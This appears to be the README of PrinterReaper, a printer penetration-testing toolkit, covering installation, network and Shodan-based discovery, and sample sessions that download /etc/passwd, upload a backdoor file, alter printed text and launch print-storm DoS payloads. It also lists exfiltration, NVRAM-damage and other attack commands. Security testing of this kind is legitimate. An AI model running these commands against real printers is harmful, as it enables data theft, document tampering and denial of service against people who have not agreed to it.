Is your printer safe from the void? Find out before someone else doesβ¦
PrinterReaper v2.5.3 is the most complete printer penetration testing toolkit available, with support for all three major printer languages (PJL, PostScript, PCL) and four network protocols (RAW, LPD, IPP, SMB). Test, exploit, and secure network printers with 109 commands across 7 categories.
TL;DR: PrinterReaper is your complete toolkit for discovering and exploiting printer vulnerabilities. Connect. Scan. Exploit. Exfiltrate. Repeat.
π Official Website: www.uniaogeek.com.br/printer-reaper
- π¨ Complete PRET Assets - 8 PS fonts, 3 MIBs, 4 overlays, 5 testpages
- π New Commands -
assets(list bundled files),overlay_list(preview overlays) - π§Ή Clean Repository - Removed 116+ archived files from public tracking
- π οΈ Release Tools -
release_notes.pyto generate changelogs from commits - π Startup UX - No args β extended help with quick-start and discovery
- π Discovery Flags -
--discover-localand--discover-online - π Help Standardized - PS/PCL help with categories (PJL-style)
- π§ͺ Test Fixtures - Real PS/PCL test pages for QA validation
# Clone repository
git clone https://github.com/mrhenrike/PrinterReaper.git
cd PrinterReaper
# Install dependencies
pip3 install -r requirements.txt
# Verify installation
python3 printer-reaper.py --version# Automatic network discovery (extended help + options)
python3 printer-reaper.py
# Local SNMP discovery
python3 printer-reaper.py --discover-local
# Online discovery (Shodan/Censys)
python3 printer-reaper.py --discover-online
# Output:
Discovered printers:
192.168.1.100 HP LaserJet 4250 uptime=10:21:49 Ready
192.168.1.105 Brother MFC-7860DW uptime=16:31:17 Sleep# Auto-detect best language
python3 printer-reaper.py 192.168.1.100 auto
# Or specify language manually
python3 printer-reaper.py 192.168.1.100 pjl # PJL mode
python3 printer-reaper.py 192.168.1.100 ps # PostScript mode
python3 printer-reaper.py 192.168.1.100 pcl # PCL modePJL (Printer Job Language) - 54 commands
- Complete filesystem access
- NVRAM manipulation
- Job control and capture
- Configuration backup/restore
- Lock/unlock capabilities
PostScript - 40 commands
- Dictionary enumeration
- Operator testing (400+ operators)
- Print job manipulation
- Overlay and watermarking
- File system operations
PCL (Printer Command Language) - 15 commands
- Virtual filesystem via macros
- Legacy printer support
- Basic control operations
Total: 109 commands across all languages!
| Protocol | Port | Description |
|---|---|---|
| RAW | 9100 | Default (AppSocket/JetDirect) |
| LPD | 515 | Line Printer Daemon (legacy) |
| IPP | 631 | Internet Printing Protocol (modern) |
| SMB | 445/139 | Windows network printing |
- banner.ps - Print custom banner messages
- loop.ps - Infinite loop DoS attack
- erase.ps - Erase printed pages
- storm.ps - Print storm (resource exhaustion)
- exfil.ps - Data exfiltration via printing
ls, mkdir, find, upload, download, delete, copy, move, touch
chmod, permissions, rmdir, mirror, get, put, cat, edit, append, fuzzid, version, devices, uptime, date, pagecount, variables, printenv
network, info, scan_volumes, firmware_info, dicts, dump, known, searchset, display, offline, restart, reset, selftest, backup, restore
config, formfeed, copies, open, close, timeout, reconnectlock, unlock, disable, nvram, enumerate_operators, test_file_access
permissions, chmoddestroy, flood, hold, format, capture, overlay, cross, replace
hang, payload, traverse, dos_display, dos_jobs, dos_connections
exfiltrate, backdoordirect, execute, loadpagecount, status, discover$ python3 printer-reaper.py
Detected OS: Linux
Found 2 network(s) to scan...
Discovered printers:
192.168.1.100 HP LaserJet 4250
192.168.1.105 Brother MFC-7860DW$ python3 printer-reaper.py 192.168.1.100 pjl
192.168.1.100:/> ls /etc
- 834 passwd
- 156 hosts
192.168.1.100:/> download /etc/passwd
Downloaded passwd to ./passwd
192.168.1.100:/> cat /etc/passwd
root:x:0:0:root:/root:/bin/sh$ python3 printer-reaper.py 192.168.1.100 ps
192.168.1.100:ps> cross "CONFIDENTIAL - DO NOT DISTRIBUTE"
Text will be added to all printed pages
192.168.1.100:ps> replace "Public" "Top Secret"
Will replace 'Public' with 'Top Secret' in all documents192.168.1.100:ps> payload banner PRINTER COMPROMISED
Payload 'banner' executed
192.168.1.100:ps> payload storm 100
Payload 'storm' executed - 100 pages will print$ python3 printer-reaper.py 192.168.1.100 pcl
192.168.1.100:pcl> put document.txt
Uploaded document.txt as macro 1000
192.168.1.100:pcl> ls
Macro 1000 1024 bytes document.txt
192.168.1.100:pcl> get 1000
Downloaded macro 1000 to document.txtβ
Identify printer model and firmware
β
Extract network configuration
β
Dump NVRAM contents
β
List environment variables
β
Enumerate PostScript operators
β
Browse printer's file system
β
Download configuration files
β
Upload arbitrary files
β
Mirror entire filesystem
β
Path traversal testing
β
Change printer settings
β
Backup and restore configuration
β
Set display messages
β
Control print parameters
β
Modify page device settings
β
Test authentication bypass
β
Verify filesystem restrictions
β
Check NVRAM security
β
Test buffer overflows
β
Path traversal attacks
β
Capture print jobs
β
Inject malicious overlays
β
Replace text in documents
β
Cause denial of service
β
Execute attack payloads
β
Physical NVRAM damage (with warning)
- Python 3.8 or higher
- Operating System: Linux, Windows, WSL, macOS, or BSD
# Clone repository
git clone https://github.com/mrhenrike/PrinterReaper.git
cd PrinterReaper
# Install Python dependencies
pip3 install -r requirements.txt
# Install SNMP tools (optional, for discovery)
# Ubuntu/Debian
sudo apt install snmp
# macOS
brew install net-snmp
# Test installation
python3 printer-reaper.py --versioncolorama>=0.4.6 # Terminal colors
requests>=2.31.0 # HTTP requests
urllib3>=2.0.0 # HTTP client
pysnmp>=4.4.12 # SNMP discovery (optional)
usage: printer-reaper.py [-h] [-s] [-q] [-d] [-i file] [-o file]
[--osint] [--auto-detect] [--version]
target {pjl,ps,pcl,auto}
positional arguments:
target Printer IP address or hostname
{pjl,ps,pcl,auto} Printer language (PJL, PostScript, PCL, or auto)
optional arguments:
-h, --help show this help message and exit
-s, --safe Verify language support before connecting
-q, --quiet Suppress warnings and banner
-d, --debug Enter debug mode (show raw traffic)
-i, --load file Load and run commands from file
-o, --log file Log raw data sent to the target
--osint Check target exposure (passive OSINT)
--auto-detect Automatically detect supported languages
--version Show program version and exit# Network discovery
python3 printer-reaper.py
# Connect with PJL
python3 printer-reaper.py 192.168.1.100 pjl
# Connect with PostScript
python3 printer-reaper.py 192.168.1.100 ps
# Connect with PCL
python3 printer-reaper.py 192.168.1.100 pcl
# Auto-detect language
python3 printer-reaper.py 192.168.1.100 auto
# Safe mode (verify support first)
python3 printer-reaper.py --safe 192.168.1.100 pjl
# Load commands from file
python3 printer-reaper.py -i commands.txt 192.168.1.100 pjl
# Debug mode
python3 printer-reaper.py --debug 192.168.1.100 ps| Feature | PJL | PostScript | PCL |
|---|---|---|---|
| Filesystem | β Full | β Full | |
| Commands | 54 | 40 | 15 |
| File Upload | β | β | β |
| File Download | β | β | β |
| Path Traversal | β | β | β |
| NVRAM Access | β | β | β |
| Job Capture | β | β | β |
| Overlays | β | β | β |
| Text Replace | β | β | β |
| Lock/Unlock | β | β | β |
| Best For | Modern HP/Brother | Advanced attacks | Legacy devices |
Recommendation: Use auto mode to let PrinterReaper choose!
- Authentication Testing - Bypass, brute force, default credentials
- Filesystem Security - Access control, path traversal, permissions
- Buffer Overflow Testing - Flood attacks, input validation
- Information Disclosure - Configuration, credentials, NVRAM
- Print Job Security - Capture, manipulation, interception
- Denial of Service - Resource exhaustion, crashes, hangs
Reference Hacking Printers Wiki for comprehensive attack taxonomy:
- Denial of Service (transmission, processing, physical)
- Privilege Escalation (factory defaults, accounting bypass)
- Print Job Access (retention, manipulation)
- Information Disclosure (memory, filesystem, credentials)
- Code Execution (buffer overflows, firmware)
Every command has detailed help:
> help # List all commands
> help upload # Detailed help for specific commandComplete documentation at: PrinterReaper Wiki
- Installation Guide
- Quick Start
- Command Reference
- PJL Commands
- PostScript Commands
- Security Testing
- Attack Vectors
- Examples
- FAQ
./printer-reaper.py./printer-reaper.py 192.168.1.100 auto> id # Identify printer
> ls # Browse filesystem
> network # Get network info
> variables # List variables> download /etc/passwd # Exfiltrate files
> upload backdoor.ps # Upload malicious files
> lock 12345 # Lock control panel
> capture # Capture print jobs> enumerate_operators # Test 400+ operators
> overlay logo.eps # Add watermark
> cross "CONFIDENTIAL" # Add text overlay
> replace "Public" "Secret" # Replace contentIMPORTANT: PrinterReaper is intended solely for authorized security testing.
- β Run only against devices you own or have written permission to test
- β Unauthorized use may violate laws and regulations
- βοΈ The authors disclaim all liability for misuse or damage
By using PrinterReaper, you accept full responsibility for your actions.
| Aspect | PRET | PrinterReaper v2.4.0 |
|---|---|---|
| Languages | 3 | 3 β |
| Protocols | 1 | 4 β |
| PJL Commands | ~40 | 54 (+35%) β |
| PS Commands | ~30 | 40 (+33%) β |
| Documentation | Basic | Wiki 14 pages β |
| Help System | 50% | 100% β |
| Python | 2.7 | 3.10+ β |
| Maintenance | β Discontinued | β Active |
| OS Support | Linux only | 5 platforms β |
Winner: PrinterReaper in 7 of 9 categories!
- GitHub Wiki - Complete documentation
- Installation Guide - Setup instructions
- Quick Start - 5-minute tutorial
- Commands Reference - All commands
- Examples - Real-world scenarios
- FAQ - Common questions
> help # List all commands
> help <command> # Detailed help
> help filesystem # Category helpPrinterReaper v2.5.3 has been comprehensively tested:
- β 37 automated tests - 100% pass rate
- β All modules tested - Zero import errors
- β All protocols validated - Instantiation successful
- β All payloads verified - Template substitution working
- β operators.py validated - 371 operators loaded
- β PRET assets integrated - Fonts, overlays, MIBs, testpages
v2.5.3 (Oct 2025) - Complete assets, branding, enhanced docs, production-ready
v2.5.1 (Oct 2025) - PRET assets, overlay_list, release tools, repo cleanup
v2.5.0 (Oct 2025) - Startup UX, discovery flags, fixtures, overlays
v2.4.2 (Oct 2025) - HTML Wiki for website deployment
v2.4.1 (Oct 2025) - QA tested, 100% pass rate, documentation updates
v2.4.0 (Oct 2025) - Complete toolkit: 3 languages, 4 protocols, 5 payloads
PrinterReaper/
βββ printer-reaper.py # Main executable
βββ requirements.txt # Dependencies
βββ README.md # This file
β
βββ src/ # Source code
β βββ main.py # Entry point
β βββ version.py # Version info (2.5.0)
β β
β βββ core/ # Core modules
β β βββ printer.py # Base class
β β βββ capabilities.py # Detection
β β βββ discovery.py # SNMP scanning
β β βββ osdetect.py # OS detection
β β
β βββ modules/ # Language modules
β β βββ pjl.py # PJL (54 commands)
β β βββ ps.py # PostScript (40 commands)
β β βββ pcl.py # PCL (15 commands)
β β
β βββ protocols/ # Network protocols
β β βββ raw.py # RAW (Port 9100)
β β βββ lpd.py # LPD (Port 515)
β β βββ ipp.py # IPP (Port 631)
β β βββ smb.py # SMB (Ports 445/139)
β β
β βββ payloads/ # Attack payloads
β β βββ banner.ps # Banner payload
β β βββ loop.ps # DoS loop
β β βββ erase.ps # Page erase
β β βββ storm.ps # Print storm
β β βββ exfil.ps # Exfiltration
β β
β βββ utils/ # Utilities
β βββ helper.py # Core utilities
β βββ codebook.py # Error codes
β βββ fuzzer.py # Fuzzing vectors
β βββ operators.py # PS operators (400+)
β
βββ wiki/ # GitHub Wiki
βββ tests/ # Test suite
Contributions welcome! Please read Contributing Guide.
PrinterReaper is released under the MIT License.
- Official Website: www.uniaogeek.com.br/printer-reaper
- GitHub Issues: Bug reports and feature requests
- GitHub Wiki: Complete documentation
- Blog: www.uniaogeek.com.br/blog
- Contact: X / LinkedIn @mrhenrike
- PRET - Original printer exploitation tool by Ruhr-UniversitΓ€t Bochum
- Hacking Printers Wiki - Comprehensive printer security knowledge base
- Modern Python 3.10+ features
- Complete PostScript and PCL modules
- Multi-protocol support
- Professional documentation
- Attack payload system
- Enterprise-grade error handling
- Hacking Printers Wiki
- HP PJL Technical Reference
- PostScript Language Reference
- RFC 1179 - Line Printer Daemon Protocol
- RFC 2910/2911 - Internet Printing Protocol
If you find PrinterReaper useful, please star the repository!
PrinterReaper v2.5.3
Complete Printer Penetration Testing Toolkit
109 Commands | 3 Languages | 4 Protocols | 5 Payloads
Made with β€οΈ for the security community
Documentation | Issues | Releases

